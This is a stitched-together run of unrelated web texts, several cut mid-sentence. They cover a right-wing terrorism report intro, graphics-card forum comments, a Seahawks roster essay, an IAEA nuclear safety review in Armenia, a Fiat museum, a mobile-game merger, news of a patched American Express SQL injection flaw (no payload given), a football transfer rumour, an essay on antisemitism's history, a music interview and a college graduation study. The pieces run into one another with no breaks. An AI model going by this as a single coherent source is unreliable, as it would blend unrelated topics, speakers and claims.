The list in this report includes 150 incidents involving acts, attempted acts, and plots of right-wing terrorism from 1993 through part of 2017. A few of these terror acts are well-known, such as the bombings conducted by Timothy McVeigh and Eric Rudolph, while many other incidents garnered little more than local media coverage and are unknown to most Americans. Such lists always involve some value judgments on the margins and there are some incidents on the list that some people might think don’t belong on such a list, while there are items missing from the list that some people might think should be included, such as the armed standoffs involving members of the Bundy family and others in Nevada in 2014 and Oregon in 2016.
In many cases where a possible incident was not included, it was for one of several reasons. First, for some reported incidents, an extremist connection has never been satisfactorily established or has in fact been disproved. For example, in 2014 Dennis Marx attempted to use firearms and explosives to attack an Atlanta courthouse; some media outlets reported or speculated that Marx was a sovereign citizen. However, no evidence confirming this ever emerged and the police eventually acknowledged he had not been involved in the movement. Similarly, some media speculated that Jared
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again, AMD will gain market share by this. Posted on Jul 28th 2016, 4:40 Reply
#6 P4-630
The Way It's Meant to be Played GTA V 74fps? What resolution and what settings.... Posted on Jul 28th 2016, 5:09 Reply
#7 FordGT90Concept
"I go fast!1!11!1!" 460 would make a good replacement for a dead integrated GPU. That said, there's a small jump between RX 480 and RX 470 but a massive jump between RX 470 and RX 460. RX 460 is half the card compared to RX 470. I'm getting the distinct impression RX 460 should be an RX 450 with something better to take the RX 460 position.
They look like okay cards but a gamer like me isn't going to get excited about them. Posted on Jul 28th 2016, 5:46 Reply
#8 WernerHerzog
Regarding the RX460: Currently looking for a replacement for my GTX750ti. What kind of performance gain can be expected? Any guesses? Posted on Jul 28th 2016, 6:09 Reply
#9 Basard
Supercrit said: 460's slide just showed how it's pointless. This is the card you buy your mom or grandma for Christmas, so they can enjoy The Sims.... it's epic! This is the card you buy your mom or grandma for Christmas, so they can enjoy The Sims.... it's epic! Posted on Jul 28th 2016, 6:13 Reply
#10 P4-630
The Way It's Meant to be Played WernerHerzog said: Regarding the RX460: Currently looking for a replacement for my GTX750ti. What kind of performance gain can be expected? Any guesses? Just wait for the reviews, a GTX750Ti is not a bad card either, I don't expect a RX460 that much faster. Just wait for the reviews, a GTX750Ti is not a bad card either, I don't expect a RX460 that much faster. Posted on Jul 28th 2016, 6:29 Reply
#11 laszlo
Nergal said:
When will NV be releasing cards in this range? Because again, AMD will gain market share by this. more amd gain higher pressure on nv pricing so is a win for all in the end more amd gain higher pressure on nv pricing so is a win for all in the end Posted on Jul 28th 2016, 6:43 Reply
#12 dj-electric
Efficiency wise Polaris is at maxwell level
In that case, RX 460 is expected to be about as fast as a GTX 750 Ti
So, how revolutionary 99$ for a product like that would be, if the GTX 750 Ti is already being sold for 99$? Posted on Jul 28th 2016, 6:56 Reply
#13 ShurikN
https://www.techpowerup.com/reviews/NVIDIA/GeForce_GTX_750_Ti/25.html
Acording to TPU review 750ti is 13% faster on average than a 260X. From these slides 460 is about 25% faster than 260X. Therefore, this new 75W card should perform at least 10% faster. Acording to TPU review 750ti is 13% faster on average than a 260X. From these slides 460 is about 25% faster than 260X. Therefore, this new 75W card should perform at least 10% faster. Posted on Jul 28th 2016, 7:21 Reply
#14 jabbadap
Supercrit said: 460's slide just showed how it's pointless. Well not necessary, form factor screams htpc usage with small cases. Those NDA lifts messages on those slides are today, so will there be reviews today too?
[SPOILER="Just a opinion of the perf."]But performance vice: With such a lowish clocks it will have hard time with gtx950, might not be even fastest no extra power connector card(well fastest official, but those AIB custom "lp" gtx950:s might be faster. But It's a close call: from tpus review asus [email protected] 1.84TFlops and [email protected] 2.15TFlops. thus RX460/gtx950 fp32 compute ratio is 1.16, RX480/gtx970 ratio is 1.36 and RX480/gtx980 ratio is 1.09). Pure compute power POV for gtx960, no change.[/SPOILER] Well not necessary, form factor screams htpc usage with small cases. Those NDA lifts messages on those slides are today, so will there be reviews today too?[SPOILER="Just a opinion of the perf."]But performance vice: With such a lowish clocks it will have hard time with gtx950, might not be even fastest no extra power connector card(well fastest official, but those AIB custom "lp" gtx950:s might be faster. But It's a close call: from tpus review asus [email protected] 1.84TFlops and [email protected] 2.15TFlops. thus RX460/gtx950 fp32 compute ratio is 1.16, RX480/gtx970 ratio is 1.36 and RX480/gtx980 ratio is 1.09). Pure compute power POV for gtx960, no change.[/SPOILER] Posted on Jul 28th 2016, 7:22 Reply
#15 Nabarun
My only question is whether the 460 is any good for 60 FPS with decent settings @ 1080P for AAA titles (minus Crysis, of course), and if IT is the best choice at this price point in terms of perf/buck. Posted on Jul 28th 2016, 7:27 Reply
#16 P4-630
The Way It's Meant to be Played Nabarun said: My only question is whether the 460 is any good for 60 FPS with decent settings @ 1080P for AAA titles (minus Crysis, of course), and if IT is the best choice at this price point in terms of perf/buck. I don't think so. I don't think so. Posted on Jul 28th 2016, 7:34 Reply
#17 Nergal
The 750 is already +2years old
Would you buy a car that is from a version of 5years ago(produced who knows), costs the same and performs the same (or worse) than a new version of a car?
Perception is key here I think. Posted on Jul 28th 2016, 7:39 Reply
#18 jmgbjr
WernerHerzog said: Regarding the RX460: Currently looking for a replacement for my GTX750ti. What kind of performance gain can be expected? Any guesses? I thought Polaris11 was the mobile chip they were demoing as being able match a GTX 950, albeit that GPU was likely clocked lower but using all 1024 stream processors. Hopefully this will surpass an R7 370 but be slower than a R9 380. Not too bad I guess for 100 bucks I thought Polaris11 was the mobile chip they were demoing as being able match a GTX 950, albeit that GPU was likely clocked lower but using all 1024 stream processors. Hopefully this will surpass an R7 370 but be slower than a R9 380. Not too bad I guess for 100 bucks Posted on Jul 28th 2016, 7:44 Reply
#19 c12038
Question is if it uses the same GPU chip could it be bios unlocked to a full blown RX480 Posted on Jul 28th 2016, 8:02 Reply
#20 deu
ZoneDymo said: Man those slides are asssss, dont show anything about the settings... I guess the comparison (performance increase) is more what matters but why even show fps then?
EDIT: Wait a minute... "Brilliant HD gaming at Ultra settings"?
According to TPU's benchmark the RX480 does just about 66fps on 1600x900 in Hitman...
Do they call 1280x720 HD gaming or something or what?
and secondly, why is it being compared with the 270 and 260 and not the 370 and 360? would the difference be way too small otherwise and therefor show these cards as not all that interesting?
oh and also, the second slide with that 1x marker and the increase the card gives is once again skewed as hell, 1.2x looks like 1.4x if you compare the grey bar and the red bar.
Can we really not get some consumer protection agency to slap both AMD and Nvidia in the face for this blatant misleading they constantly do? 270 is better than 370; thats why. + They have been drawing comparison to the 200-series with their 480 (and is going to do so with their VEGA judging from their marketing, it would make no sense to confuse people more by altering this. When it comes to the slides; This is marketing; They push the limits of the truth here. Wait for a review if you want to see real life performance; Not a company's favorite-performing games :) 270 is better than 370; thats why. + They have been drawing comparison to the 200-series with their 480 (and is going to do so with their VEGA judging from their marketing, it would make no sense to confuse people more by altering this. When it comes to the slides; This is marketing; They push the limits of the truth here. Wait for a review if you want to see real life performance; Not a company's favorite-performing games :) Posted on Jul 28th 2016, 8:06 Reply
#21 dj-electric
ShurikN said: https://www.techpowerup.com/reviews/NVIDIA/GeForce_GTX_750_Ti/25.html
Acording to TPU review 750ti is 13% faster on average than a 260X. From these slides 460 is about 25% faster than 260X. Therefore, this new 75W card should perform at least 10% faster. So roughly about the same feeling when gaming. That ain't something new. RX 460 needs to be a bit more appealing in my opinion. So roughly about the same feeling when gaming. That ain't something new. RX 460 needs to be a bit more appealing in my opinion. Posted on Jul 28th 2016, 8:11 Reply
#22 Nergal
Proclaiming to be "the best" or "the tastiest" is a long worn-out record. People hardly turn their head when a product promotes itself as such. Add some statistics and suddenly "They have gone too far"?
Everyone knows that is just sales-talk, like you said, and people falling for it deserve it. If you want to attack that, you can attack capitalism. Which you very well could. The food and pharmaceutical industry should be held to much more (public) scrutiny. Not a video card nor its PR. Posted on Jul 28th 2016, 8:31 Reply
#23 Thimblewad
I don't know why all the hate. I think that the RX470 would be a pretty good upgrade for my good old R9 270X. And the charts aren't off at all, I get about 45-50 FPS with everything maxed in GTA V(except advanced) and 1080p. Posted on Jul 28th 2016, 9:06 Reply
#24 jabbadap
Hmm does W1zzard have R9-380x, would be interesting to see clock to clock comparison with RX 470(shader count is the same). Posted on Jul 28th 2016, 9:10 Reply
#25 Captain_Tom
P4-630 said: Just wait for the reviews, a GTX750Ti is not a bad card either, I don't expect a RX460 that much faster. I would expect 30%+ faster I would expect 30%+ faster Posted on Jul 28th 2016, 9:31 ReplyWhen people discuss Seattle’s approach to the O-line, the following points usually come up:
— They’ve not spent enough on the O-line
— They’ve prioritised other positions
— They could’ve/should’ve done more
I want to offer a counter to those thoughts today.
Since 2010, the Seahawks have used 19 draft picks between rounds 1-3. Here’s a breakdown of what they’ve spent those picks on:
O-line: 6
D-line: 3
Wide receiver: 3
Linebacker: 2
Running back: 2
Safety: 1
Quarterback: 1
32% of Carroll’s/Schneider’s picks in the first three rounds have been spent on the offensive line. That’s double the amount of defensive linemen and receivers — ranked second on the list.
It has been argued that the Seahawks have either misused these picks (bad evaluations) or have chosen not to re-sign the players they drafted to save money (priorities).
Context is required.
For example, the Dallas Cowboys are praised for drafting Tyron Smith, Travis Frederick and Zack Martin with back-to-back-to-back first round picks. The Seahawks, when they have sought to address these positions, have not been in position to draft players of similar quality.
Had they lost to St. Louis in week 17 of the 2010 regular season, the Seahawks wouldn’t have made the playoffs (no Beastquake) and would’ve picked #8 overall in the 2011 draft. There is every chance they would’ve used that pick to draft Tyron Smith, who was taken by Dallas at #9. Instead the Seahawks picked at #25.
By that point Smith, Mike Pouncey, Nate Solder, Anthony Castonzo and Danny Watkins had all been drafted. Determined to address a need on the O-line, the Seahawks selected James Carpenter.
Aside from a couple of injury hit seasons, the Seahawks got a good few years out of Carpenter. That’s more than can be said for Watkins who was taken at #23 (barely played and became a firefighter) and the next two offensive linemen drafted after Carpenter (two enormous busts, Gabe Carimi and Derek Sherrod).
When Carpenter left the Seahawks he signed a four year, $19m contract with the Jets worth nearly $5m a year. Carpenter was decent for the Seahawks — but would you really want to keep him at $5m a year?
That wasn’t the Seahawks being cheap — either in terms of draft investment or ponying up the free agent cash. They prioritised the O-line with the high draft pick. They took the best remaining option on the board. They got a few years out of him and then the player signed a big deal somewhere else.
Had they been able to draft Pouncey or Solder or Smith — it probably would’ve been a different discussion. They might’ve been worth $7-12m a year or whatever it would’ve taken to get the deal done. Is Carpenter worth $5m a year to this Seahawks team? At a time when they’ve had to pay Russell Wilson, Richard Sherman, Earl Thomas and a host of others top-tier money?
Now onto Okung. This was Seattle’s first draft pick by Carroll/Schneider. They immediately made a left tackle their priority and used the #6 overall pick to get one. Under the old CBA, they also gave Okung a contract worth $48m with $29m in guarantees.
We’re all familiar with his injury record since 2010 but here’s a reminder:
2010 — missed six games
2011 — missed four games
2012 — missed one game
2013 — missed eight games
2014 — missed two games
2015 — missed three games
That’s 24 missed games during his six-year rookie contract. When he missed those eight games in 2013 (the Super Bowl season) the Seahawks were forced to start Paul McQuistan at left tackle for half of the regular season.
Okung was good when he played — but not great. He never achieved the level of Trent Williams (taken two picks earlier in the 2010 draft) and was more serviceable than dominant.
Right now a lot of fans (and probably some of the staff) would settle for that over the current starting left tackle. Yet a front office has to consider many different factors when considering a contract extension. Okung, without question, was an injury liability. If you offer him the big bucks and he continues to miss four, six or eight games a year — do you regret it?
If he was still on Seattle’s roster now albeit injured, would people be criticising the front office for re-signing him?
Then there’s the angle of his decision not to use an agent. The deal he signed in Denver was widely mocked for being the ultimate team friendly contract. Was such a contract ever a possibility in Seattle? Or did Okung need to move on in the face of growing criticism for not using an experienced negotiator?
We’ll never know the exact details — but this was clearly a complex situation. Not exclusively a cost saving measure.
The Seahawks got a good few years from both Okung and Carpenter. Neither was a terrible pick or a bad evaluation. Both moved on. The success or failure of a first round pick should not be focused exclusively on whether they get a second contract. Was the Bruce Irvin pick a failure? Arguably all three players played their part — but ultimately others (UDFA WR’s, 5th round cornerbacks, third round QB’s, free agent DE’s) contributed more.
They also let Breno Giacomini (signed for the Jets for $4.5m a year) and J.R. Sweezy (signed with the Buccs for $6.5m a year) walk.
Again, would you really want to keep those two players at that price? Sweezy’s average annual salary in Tampa Bay is only $650,000 less than Michael Bennett’s and Cliff Avril’s (they both earn an average of $7.125m a year in Seattle).
As a consequence the investment in the O-line has continued via the draft. In a weak year (2014) for explosive offensive linemen, they spent a second round pick on the best player remaining that fit their criteria (explained in detail here). It’s taken Justin Britt a while to work it out — but he looks at home at center.
This year they spent another first round pick on the O-line drafting the hulking, explosive, enormous athlete Germain Ifedi. In pre-season he looked terrific and the hope is he’ll get healthy and become a major asset for the offense. They also spent a third rounder on Rees Odhiambo. He’s yet to feature — but once again they’re making the investment.
Many have questioned the decision to trade Max Unger for Jimmy Graham and his $9m a year salary. Graham had a rough start to his Seahawks career with minimal production and a serious knee injury. Unger played 16 games and earned a new contract with the Saints.
Was it a mistake? Maybe. But again context is required. Unger missed thirteen games in 2013/2014 for the Seahawks. Perhaps the less aggressive, pass-friendly offense suits him physically in New Orleans? And while it hasn’t worked out for Graham in Seattle so far — he remains one of the most unique players in the league and could still become a major asset.
Unger’s new deal is worth $7.4m a year on average. That’s more money than Avril and Bennett. While it’s true the Seahawks spend less on their O-line than anyone else ($8.597m this year) — can you justify a $7.4m cap hit for a center in his 31st year who missed 13 games in his last two seasons for you?
Since moving Unger there really hasn’t been an opportunity to draft a center of the quality of, for example, Travis Frederick. In the 2015 draft, Mitch Morse (#49) and Ali Marpet (#61) were both taken before Seattle’s pick at #63. If the Seahawks had any interest in Ryan Kelly this year, he was long gone by their pick at #26.
It’s possible they fully intended to draft a young center but it just wasn’t possible. Again, that’s just the way the draft works sometimes. You can’t fight the board. Consequently the Seahawks appear to have found a viable solution (possibly for the long term) in Britt.
Not helping the situation has been Seattle’s draft position. They owned pick #6 and #14 in 2010 and #12 in 2012. Aside from that they’ve consistently had picks in the late first round (and picks at the end of each subsequent round). They simply haven’t been in position to draft a Pouncey or a Martin in the middle of the first round.
With a growing demand for athletic, talented O-liners — not many are lasting into the late first. Ifedi is/was a rarity. There’s a chance the league will regret letting him last that long. Players with his length, athleticism, aggression and size don’t come around very often. Quite a few teams will regret allowing Kelechi Osemele to last into round two — Ifedi has a similar physical skill set.
Aside from Ifedi, you could argue Seattle’s success has ultimately prevented them getting at the top O-liners since 2012. What can they really do about that?
Ask yourself this question — which highly touted O-liner have they passed on? Who did they snub in favour of another position? There isn’t anyone. (EDIT: Attyla the Hawk noted they passed on Joel Bitonio for Paul Richardson in 2014. Point taken)
Here’s what it comes down to: They’ve used a lot of high draft picks on the O-line but the players available and their overall value to the team haven’t matched the contracts they’ve received from other clubs when becoming free agents.
That’s not being cheap. That’s not deliberately being thrifty on the O-line. That’s not ignoring the position. Had they been able to draft a Tyron Smith or Zack Martin they probably would’ve done — and they probably would’ve extended their contracts.
You can only draft the players available. You can’t magic up elite linemen. You can’t magic up top-16 picks either. If they get a great O-liner they’ll probably reward them as they’ve done with the Baldwin’s, Avril’s and Bennett’s etc.
Most of their decisions have been forced. Players getting good deals elsewhere, players being injured, other players at other positions playing really well and eating up cap space.
I don’t think they’re trying to manage this situation because they’ve decided to spend less on the O-line — I think they’re managing this situation because they have to. These are the cards they’ve been dealt.
Check out this weeks podcast, where we discuss the latest college football, draft and Seahawks topics:An International Atomic Energy Agency (IAEA) team of nuclear safety experts today completed an assessment of long-term operational safety at the Armenian Nuclear Power Plant (ANPP).
The Safety Aspects of Long Term Operation (SALTO) review was requested by the ANPP, located in Metsamor, 36 kilometres west of the capital, Yerevan. The in-depth review, which began on 28 November, focused on aspects essential to the safe long-term operation of the plant.
The plant has applied to the Armenian Nuclear Regulatory Authority (ANRA) to extend power-generation beyond the end of 2016. The reactor accounts for 35 to 40 per cent of Armenia’s electricity production.
The SALTO team reviewed the plant’s organization and programmes related to its long-term operation, including human resources and knowledge management. The findings of SALTO reviews are based on the IAEA Safety Standards.
The team identified several good practices and performances at the plant that will be shared with the nuclear industry globally, including:
The plant’s seismic qualification programme.
A management and operational succession plan for 27 safety-critical roles at the plant.
The plant’s safety upgrade modification programme.
The team provided a number of recommendations for improvements to long-term operational safety, including:
The plant should develop and implement methodology to ensure all safety-related systems are assessed for long-term operation and fully document the results.
The plant should fully document its preparations for long-term operation to ensure that all safety aspects are covered.
The plant should ensure that relevant mechanical components are periodically re-evaluated during long-term operation.
The Armenian plant management said it was committed to implementing the recommendations and requested that the IAEA schedule a follow-up mission in approximately 18 months.
The team handed a draft of the review report to the plant management. The review, including any comments from the plant and ANRA, will be reviewed at IAEA headquarters. A final report will be submitted to the plant, to the ANRA and the Armenian government within three months.
The review team comprised experts from Argentina, Bulgaria, Canada, India, Ukraine and the IAEA.
Background
General information about SALTO missions can be found on the IAEA Website. A SALTO peer review is a comprehensive safety review addressing strategy and key elements for the safe long term operation of nuclear power plants. They complement OSART missions, which are designed as a review of programmes and activities essential to operational safety. Both SALTO and OSART reviews are not regulatory inspections, nor are they design reviews or substitutes for an exhaustive assessment of a plant's overall safety status.Fiat has been a major car maker and industrial player for more than a century now, but one of the lesser-known sides to the Fiat story is that the company has its very own museum.
On one level, the Centro Storico Fiat, located discreetly at Via Chiabrera 20, Turin, is a modern, stylish exhibition of some of Fiat's past masters.
Fiat has a collection of some 300 historic cars and around 30-40 are out on show at any time. Some are familiar, such as the ultra-cute 500s and 600s and the heroic aero-engined 22-litre Mefistofele record breaker that has run at the Goodwood Festival of Speed.
But many are not and that's part of the appeal. Cars, aircraft and other symbols of Fiat's manufacturing might are artfully out on display, along with nice period adverts and models, while upstairs there's yet another treasure trove.
Fiat's official archives are stored here. Along with many important documents and drawings, there are rows upon rows of catalogues, handbooks, press kits and magazines covering not just Fiat but Lancia, Abarth and Alfa Romeo too. The archive has more than six million images and over 200 hours of historical films.
Up until recently, the Centro Storico Fiat was firmly closed to outsiders. But it's now open one day a week (Sunday) for no charge and fully active on Facebook, Twitter and social media.
In Italy, Fiat has courted controversy with its (mis)handling of the Lancia and Alfa Romeo museums. But the Centro Storico Fiat is a delight and well worth a visit.
Here are some of the highlights.
Fiat 600 and 500 TopolinoGamevil (or GAMEVIL, if you're reading the press release) is a South Korean mobile developer and publisher best known for the Zenonia series of action RPGs, among many others. Com2us (or Com2uS, likewise) is another South Korean mobile developer and publisher best known for the Homerun Battle series of sports games, among many others. Today Gamevil bought Com2us. Hooray for the happy couple.
These companies are so similar that it's barely surprising that they're tying the knot. Both companies have been prolific with their Android games, releasing new titles on an almost weekly basis for years. Both companies tend to lean towards anime style, even in games where they don't really fit. And perhaps most notably, both companies have been leading the charge towards the free-to-play model. And by "leading the charge," I mean they've been running, jumping, diving, cartwheeling, and smashing past the barriers of tasteful restraint. If these two companies were actually getting married, the prenup would be written in terms of dual-currency in-app purchase schemes. You can see what I mean in this editorial, which was incidentally the last time we featured a Gamevil title on this site.
Neither company is saying how much the deal cost, though early reports indicate that the deal is in the range of around $65 million USD. The press release said that the social networks for Gamevil and Com2us ("Circle" and "Hub" respectively) will be leveraged for the benefit of the new conjoined corporation. Gamevil currently claims "over 300 million downloads" across all its games and platforms.Charge card company American Express has fixed a security vulnerability on its web site that allowed SQL injection and, therefore, direct access to its server's database. The company acted after The H's associates at heise Security forwarded a tip-off from one of its readers.
Student Nils Kenneweg had discovered that the pages of the American Express web site did not adequately filter data passed to a search function, thereby allowing direct access to the database server. He sent a message about this SQL injection problem to the heise Security team, who were able to reproduce it; the information was then passed on to American Express.
The company reacted quickly and fixed the vulnerability within a few days. It stated that the vulnerability had not been used and no customer data had been compromised. Some doubt exists about this statement, however, since SQL injection frequently allows access to all of an affected system's data, and tables with names like "Accounts" often show up in SQL statements.
Cleverly designed queries could have been used to communicate directly with the server's SQL database
Of particular concern is that the vulnerability was found not in some hidden corner but in the search function – the first place someone would test for such problems. A web site that is regularly tested and systematically secured should not have this kind of vulnerability in such an exposed location.
(ehe)Andres Iniesta’s Barcelona future is up in the air (Picture: Getty)
Manchester City manager Pep Guardiola has reportedly contacted Barcelona star Andres Iniesta over a shock potential transfer to the Etihad Stadium.
Rumour Mill: our round-up of football gossip, rumours and speculation
The 33-year-old is regarded as one of the finest midfielders of his generation and perhaps of all time after a glittering career for Barca and the Spanish national team.
Iniesta really reached the peak of his powers during Guardiola’s four-year reign at the Nou Camp, when they won three La Liga titles and two Champions League titles together.
Iniesta lifted the Copa del Rey at the end of last season (Picture: Getty)
With Barcelona now yet to agree a new contract with Iniesta, clubs are queuing up to make a shock move for him this summer as he has just a year left on his current deal.
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City are rumoured to be among those looking at him, with Calciomercato claiming Guardiola has contacted him personally in order to persuade him to leave the club he’s spent his entire career with so far.
Could these two be reunited at Man City? (Picture: Getty)
Andres Iniesta honours Barcelona
La Liga – 2004/05, 2005/06, 2008/09, 2009/10, 2010/11, 2012/13, 2014/15, 2015/16
Champions League – 2005/06, 2008/09, 2010/11, 2014/15
Copa del Rey – 2008/09, 2011/12, 2014/15, 2015/16, 2016/17
Supercopa de Espana – 2005, 2006, 2009, 2010, 2011, 2013, 2016
Uefa Super Cup – 2009, 2011, 2015
Fifa Club World Cup – 2009, 2011, 2015 Spain
World Cup – 2010
European Championships – 2008, 2012
The veteran playmaker would no doubt be a fine signing for City even at this stage of his career, as his creative style in the middle of the park would be perfect for the way Guardiola wants the Sky Blues to play.
Still, Juventus and Inter Milan are also among those eyeing an ambitious move for Iniesta, so he won’t be short of options if he does decide on a move this summer.
MORE: Chelsea rival Man City for Prem midfielder
MORE: Alexis Sanchez forcing transfer to Manchester CityJews around the world have recently celebrated Passover, a festival commemorating the exodus of the Israelites from slavery in ancient Egypt. To mark the occasion, the BBC screened a documentary about a modern exodus, the flight of Jews from France. With an estimated 475,000 Jews, France remains home to Europe’s largest Jewish population. But in recent years, rising anti-Semitism and a series of terror attacks have forced out a growing number. As many as 8,000 left in 2014, up from 1,900 five years earlier, a fourfold increase. Most of them are moving to Israel but many are seeking refuge in Britain. French Jewish children now make up half the intake at Jewish schools in London. Anyone who has travelled recently to Paris will have seen signs of the tense atmosphere that French Jewish refugees are leaving behind. Every Jewish building is guarded by soldiers in full combat gear.
Sadly, anti-Semitism in France is only the starkest manifestation of a growing contemporary Jew-hatred in Europe and across the world. The cancerous belief that the world is run by an international Jewish conspiracy shapes the world-view of much of Iran’s governing elite, operatives of Islamic State (IS), nationalist leaders in Slovakia and Hungary, and a major Palestinian political organisation. It even pervades parts of a mainstream British political party, and our university campuses, too. Where did this poison come from, and is there an antidote to it?
1. European origins
Conventional religious Jew-hatred is thousands of years old. Across the Christian world, the Jews’ claim to be a “chosen people” and the accusation that Jews killed Jesus led to violent persecution. Throughout Europe, anti-Jewish pogroms were sparked by the accusation that Jews kidnapped and killed Christian children in order to use their blood for religious purposes, particularly in unleavened bread consumed on Passover. One of the earliest cases of the blood libel occurred in Norwich in 1144. Within 150 years, the entire Jewish community was expelled from England. Across Europe, Jews were confined to ghettos and restricted to certain professions, such as moneylending, inculcating an image of Jews as nefarious Shylocks.
Most European Jews were emancipated by the mid-19th century. Thereafter, a new brand of paranoid, racial, political anti-Semitism emerged. As feudal systems fell across Europe, Jews were held responsible for the social and cultural ills that accompanied the collapse of the old order. The Jews were viewed as the vanguard of the department store, which ruined small shopkeepers, of the Industrial Revolution, which gave advantage to the few at the expense of the many, and of a global financial system that enslaved economies through the market and its servant parliamentary democracy. It was in response to this new anti-Semitism, and in particular the Dreyfus affair in France, in which a Jewish army officer was falsely accused of treason amid an atmosphere of intense anti-Jewish bigotry, that Theodor Herzl developed modern Zionism – the re-establishment of a Jewish state in the Jews’ ancient homeland.
Adolf Hitler came to anti-Semitism by way of anti-capitalism, particularly of the “international”, Anglo-American variety, which he accused of reducing post-First World War Germany to the status of a “colony”. The socioeconomic decline of the German middle class after the First World War and particularly during the Great Depression helped bring him to power and make the Holocaust possible.
Jew-haters have thus built on different tropes in different contexts and countries. What unites modern anti-Semites, however, is the conspiratorial belief that Jews run the world. Its foundational text is The Protocols of the Elders of Zion. First published in a St Petersburg newspaper in 1903, and subsequently reprinted many times by Russia’s political and religious authorities, this forgery purported to be a blueprint for a secretive scheme to overthrow all existing governments, institutions and religions and, in their place, to construct a Jewish world empire.
The Protocols was neither the first nor the last publication of its kind but it was by far the most successful. After the Russian Revolution, this fabrication was brought to central and western Europe by White Russian émigrés. In the febrile atmosphere across the continent after the First World War, the Protocols offered a simplistic explanation for global unrest. The Jews served as convenient scapegoats for German and Russian right-wingers, seeking to explain their traumatic defeats, and offered an external and internal enemy against whom to rally their countrymen.
Since the Protocols first appeared, millions of copies have been published and the text has been translated into many languages. But nowhere has it been disseminated more widely in the past half-century than in the Islamic world, where political anti-Semitism is a relatively recent phenomenon.
2. Middle Eastern connection
Previously, the Muslim-Jewish relationship was an ambiguous one. While there are verses in Islamic scripture that some have taken as commanding all Muslim believers to kill Jews and Christians, there are also verses urging tolerance towards both.
There were pogroms against Jews in Granada (1066) and Fez (1465) in which thousands were killed. Within the Ottoman empire, however, Jews enjoyed protection as second-class citizens (dhimmis), allowed to practise their religion quietly as long as they paid a special poll tax, abided by various proscriptions, including bans on bearing arms and riding horses, and accepted their inferior status. Up until the 18th century, Jews fared far better in the Muslim world than in Christian Europe.
When anti-Jewish persecution grew more pronounced in the 19th century, responsibility often lay with Christian Arab communities, whose propagation of the European-sponsored blood libel produced the Damascus outrage of 1840 in which 13 leading Jews were arrested and four killed. It was only after the First World War, the Balfour Declaration and the establishment of European protectorates over parts of the former Ottoman empire that
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that. Also, that’s a plan for live shows. Live drumming. I’m still figuring out how I’m going to do it all, and I may not do it right away, but I have some big plans and ideas for long-term.
8. What does a live show consist of for Haywyre?
H: I only play my own music at my sets, first off. Secondly, I launch the stems to my tracks and mix between them while playing the main melodic motives on my 88-key keyboard. There’s a lot of improvisation when it comes to the actual melodies I end up playing, and I play a ton of unreleased tracks live usually (generally because I’m still testing them out).
9. You guys are both active with fan interaction (Twitter, Email Message Board), so what pushes you to be this interactive with your fanbase?
7MD: I enjoy being social, that’s about all there is to it haha. I’m the same way in person, more or less. It’s just me being myself and Twitter gives me the ability to shout at the world, if they’ll hear it.
H: Well, being active with fans is important. They have interest in my music, which helps me take my career as a potential full-time producer and composer more seriously. Therefore the least I can do is keep them up to date. Plus getting to know people that enjoy your work can make for some really interesting conversations sometimes!
10. For someone who’s looking to take their music production seriously, what is the best advice you could give them?
H: If you are really considering taking music production seriously, I would say it’s important that you stick to making the music that you can call your own. The last thing you would want to do is build an empire of dirt, so to say. If you end up doing really well, but making music that doesn’t really speak to you, it will not have done much for you in the long run; especially considering you are spending a lot of time making things that you don’t enjoy! Only one of the million tips that would be good to hear, but that’s the best I got.
7MD: Patience and consistency. Things will take a long time before your skills allow you full possibilities of your creative mind, so you can’t get impatient. And you have to stay consistent so that you do keep growing and advancing. You can’t take months and months worth of breaks and expect to make any progress beyond a hobby, even if years of this pass. If you really want to separate yourself from the ocean of musicians that are out there, you have to do what they aren’t willing to do. Make sacrifices and commit the time needed to turn it into an obsession. You *have* to obsess over it or you’ll never separate yourself. For me, and this doesn’t necessarily apply to everyone, but I’ve made an effort to stay single over the past two years now since my last relationship ended. And it’s paid off. Look where it got me. And it’s all because I have all my time to myself to grow now. And it’s working so well I’m going to keep things that way. You just have to be willing to make sacrifices to do what you really want to do.
I know a lot of producers who worry too much about trying to produce what they think is going to be popular, because they’re afraid they aren’t growing their audience fast enough. But you dig yourself into a hole doing that. You grow a fanbase that likes you for the stuff that *you* don’t necessarily like creating. Then when the time comes where you’re sick of it and want to do what you really want to do, it’s not going to clash well with the fanbase you’ve created who like this other thing that you didn’t really truly love and then you have to create a whole new alias. When, if they had been patient and just stayed true to themselves, it would take a lot longer, but they could have been working towards the fanbase they wanted all along. A lot of people never even consider this long-term.
11. Alex, it says on Facebook that you are your own General Manager. How is it being an artist and handling the role of manager for yourself?
7MD: Mostly I have a lot of people I can always ask for help. Mike Darlington, Jon (Going Quantum), Ari, and my fellow artists.. They’ve all been amazing. Mike has been especially helpful with discussing things and giving me advice. I trust his insight more than anyone. Chris James (you’d know him from the Veldt with Deadmau5, most likely) is also incredibly smart and an amazing audio engineer in addition to an amazing vocalist, and we became good friends over the past year so I’m always talking with him about things. There’s just a lot of help that is easy to reach. I love my people. And Martin!
Oh yea, and Chris and I are going to work on a track together very soon. Should be interesting to say the least.
12. Speaking of that, what does 2014 have in store for you guys?
7MD: Definitely more releases, and hopefully enough interest where I’ll be able to begin doing live shows everywhere. I want to create experiences beyond the bedroom! Something bigger than just the audio, or even visuals. Something bigger than myself. Something truly great and memorable. And then do it over and over and over, in as many locations, in front of as many people as possible. I want to leave my mark on this world before I move on to whatever’s next, preferably!
H: What I’m looking forward to most is Two Fold: Part One and potentially Two Fold: Part Two. Part One is an LP scheduled to go up for pre-orders on February 28th; Monstercat’s first LP ever, and also their first time selling physical copies of any of their releases too!
7MD: God that LP is so good, you have no idea.
Lighting Round:
1. Favorite plug-in?
7MD: LFO Tool
H: Harmor
2. I am waiting for an album/EP/LP from ___.
7MD: Martin.
H: Koan Sound
7MD: That too.
3. You’re at the movies, what candy do you grab?
7MD: Whoppers, those chocolate balls.
H: Probably not candy, just popcorn.
4. You’re granted a super power, you choose ___.
7MD: Power to fly, no hesitation.
H: The power to grow some decent facial hair.
5. Favorite Tarantino Film?
7MD: For me it’s a tie between Inglorious Bastards and DJango Unchained. Christoph Waltz is incredible!
H: Pulp or Resevoir. I’d have to say Resevoir Dogs.
For more, check out the entire Skype conversation we had which features some more goodies as well as a whole bunch of other shenanigans. You can find it here. More music from 7 Minutes Dead and Haywyre will be presented to you as it becomes public!
Follow @TylerTrew23Rich and poor students don’t merely enroll in college at different rates; they also complete it at different rates. The graduation gap is even wider than the enrollment gap.
In 2002, researchers with the National Center for Education Statistics started tracking a cohort of 15,000 high school sophomores. The project, called the Education Longitudinal Study, recorded information about the students’ academic achievement, college entry, work history and college graduation. A recent publication examines the completed education of these young people, who are now in their late 20s.
